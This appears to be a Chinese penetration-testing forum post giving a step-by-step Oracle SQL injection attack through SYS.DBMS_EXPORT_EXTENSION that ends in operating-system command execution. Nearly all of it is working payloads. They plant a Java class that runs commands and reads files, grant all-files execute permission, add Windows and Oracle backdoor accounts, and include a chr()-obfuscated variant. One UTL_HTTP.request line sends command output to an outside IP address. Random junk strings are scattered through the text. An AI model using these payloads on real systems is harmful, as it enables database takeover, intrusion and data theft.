中国网络渗透测试联盟

标题: 实例演示oracle注入获取cmdshell的全过程 [打印本页]

作者: admin    时间: 2012-12-18 12:21
标题: 实例演示oracle注入获取cmdshell的全过程
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 ; w- j! }  |5 T7 q' ]" o1 z

3 x( a! H/ u# Q: e! I4 A  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
" i7 W5 i' J- C0 A5 P的形式即可。(用" 'a'|| "是为了让语句返回true值) ( `! ~4 ~! d* _& q
语句有点长,可能要用post提交。 5 ?# n" O3 U  [4 o/ F5 e- F9 t. m
以下是各个步骤: ' }" t* B! m9 `' q/ z% D
1.创建包 ' z# x1 o4 n9 f& ?. d
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
, R( z: r: ~% q/ t/xxx.jsp?id=1 and '1'<>'a'||(
  q. P4 N, b- E8 o" _, v! b/ Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# M% D6 j5 r  V! ucreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(% K: g$ u1 j8 t2 v- f6 f. P
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}. W2 R0 N8 q3 T) z" ^
}'''';END;'';END;--','SYS',0,'1',0) from dual 0 `8 K# K+ W: t& ]
)
1 |9 @6 {/ V3 D) Q, b------------------------ 3 Q( l* e. m2 D" t' o
如果url有长度限制,可以把readFile()函数块去掉,即:
; s5 w$ o3 {  g$ Z/xxx.jsp?id=1 and '1'<>'a'||(
) V+ r+ ^7 b% k7 L. R$ c* Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' V* d! \! P+ p5 Zcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(4 h! ?: X- _/ F! v1 n) g: K$ ^/ _+ r4 o
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}/ z( f- K$ ^* @% r" O" l+ i1 d; t
}'''';END;'';END;--','SYS',0,'1',0) from dual 9 `! `+ s4 }) b% R" R
) # u/ L# S/ j8 [" K6 k* P
同时把后面步骤 提到的 对readFile()的处理语句去掉。 + t3 a" K4 @, M$ w5 w
------------------------------ " {+ c, x6 F2 w8 |  M" T& A
2.赋Java权限 7 r8 _1 E) I) k6 H& h% v$ ?  K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
' x" \! E% ~: @3.创建函数 , G9 I" v& N6 Y: j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 u+ g6 Z( |$ r6 }2 S% z& K8 j. \
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
  D6 a+ P7 k% n4 D4 N( vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% ]1 W  I3 H# w0 l+ `) g" Xcreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
: c3 G- R- v* V" h4.赋public执行函数的权限 1 f3 q! x2 p8 F; b1 W
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual3 R% B+ r. ~7 D' I# W& D
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
; p7 H+ [! G4 ~; H5.测试上面的几步是否成功 4 \& Q: ?( ?; S( i2 ^2 {8 G; \
and '1'<>'11'||( # b; \( {+ c2 m/ ~; P
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
2 V$ r0 g0 K- \* s2 x, U) 7 a; y  I# P9 w% V; d( T/ Z
and '1'<>( ! D- k/ m/ G* I& h
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE' ; e( j6 U9 v/ G/ q! _9 h+ U$ Y
)
7 }% m; L! k+ t! w7 B. a6.执行命令:
" e2 O$ z7 M# e% `& [; m. P/xxx.jsp?id=1 and '1'<>( ' b( t, _& V& @
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
' H0 ^/ W1 n, Z& C' ~2 w
2 U" G  U  q7 ?) 2 b6 ^- j- Y' s: D# y" p
/xxx.jsp?id=1 and '1'<>(
( y: }. v, M5 e! y. Y3 @select  sys.LinxReadFile('c:/boot.ini') from dual
! p+ `: P7 y' l) b- S- [# Y9 p+ }3 V
)" v7 [& I6 t: m" B
  
/ d' _6 ]6 I3 v7 v: U注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
  y+ R* k5 }' ]1 |1 G# x如果要查看运行结果可以用 union : ! w, O% Z# O" x9 g4 ]3 m
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
1 _' E" h, Z) H3 ?% l或者UTL_HTTP.request(: 5 p4 y; d! }; A4 n2 x" b
/xxx.jsp?id=1 and '1'<>( : W( q: v9 l* H: r
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
- Z/ c1 I8 Y) e6 P)
& n/ R- c- G4 z* k$ X/ K/xxx.jsp?id=1 and '1'<>( - h/ n1 j: U& t' t- ^
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
( K0 s  ]4 x: n& D)
7 t! L- C; t, S; ~$ Z, [8 L注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
$ X2 b! B- z* {--------------------
( x: C0 R8 t- `& x6.内部变化
7 j5 p$ m4 Q" h% N5 z8 I' }通过以下命令可以查看all_objects表达改变: & C' }3 T- u9 K5 T/ o0 C
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
! k# O& c7 V* ^( A& M7.删除我们创建的函数 & F/ W; H8 L  ?% I0 R! M2 z8 \5 K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% O7 A1 _( h) b2 X5 ~drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
5 b8 C  n) L+ n4 k2 D8 ^5 R==================================================== ! u( A, i5 H3 a9 J7 R: q, L1 f  x9 X
全文结束。谨以此文赠与我的朋友。
( C/ S7 @" H; |& d/ \6 plinx
" x/ f3 ?" b: Q/ K% n124829445
  V7 Y; v0 X5 T$ f% x$ f& j2008.1.12 8 A! o, O& R# n. Y4 i1 a! j8 N3 c
linyujian@bjfu.edu.cn
9 N5 |5 k) q& S& d( p7 I======================================================================
) L: i. Y- ?3 ^6 l$ e- }测试漏洞的另一方法: 6 b  w4 \* s* N+ j
创建oracle帐号:
8 {) A9 g: h  O2 v2 kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- `7 z, e0 q, C* @1 Z* KCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
% G) K9 X& t/ K即:
& f& T, l6 Q, o4 sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
- ?" t3 b! ^; Q" A: k0 rchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
, s% Q( r  n* I4 {) c: O确定漏洞存在:
2 s6 x; p, X" z2 k- {1<>(
- o4 d* T4 t  m. |* Vselect user_id from all_users where username='LINXSQL'
$ }7 G# f, G) @. a)
3 H5 x: q/ }' I( ]给linxsql连接权限:
' E: L( d2 M; j% w* Z# X( q4 a1 Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 f1 E) h( o! u& u9 {: A  R
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
) }: v; @$ a; [7 Z4 ]: `! r删除帐号: / Z& p" [$ u& p, Q7 _9 h
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. v4 v" l$ x  |* t) F% e
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual ; h, u% ]. d6 H, ?5 p
====================== & G* E7 A, l5 e6 M
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
5 o3 x% V  i8 J6 [1.jsp?id=1 and '1'<>(
0 s0 n2 Y4 m2 Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* W( k  V1 w% l" ^- g+ s* _create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual- n) m& Y; |2 |0 G
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
7 |- B# J& Y9 l' `* Z( r7 b )
6 k3 Q. v7 d2 C/ f- w6 \1 R4 O& L
" P# Q& T" D$ y9 U
( Y  k( b6 g0 G8 x: w
4 ~9 }1 ?! O! L& H, Y




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2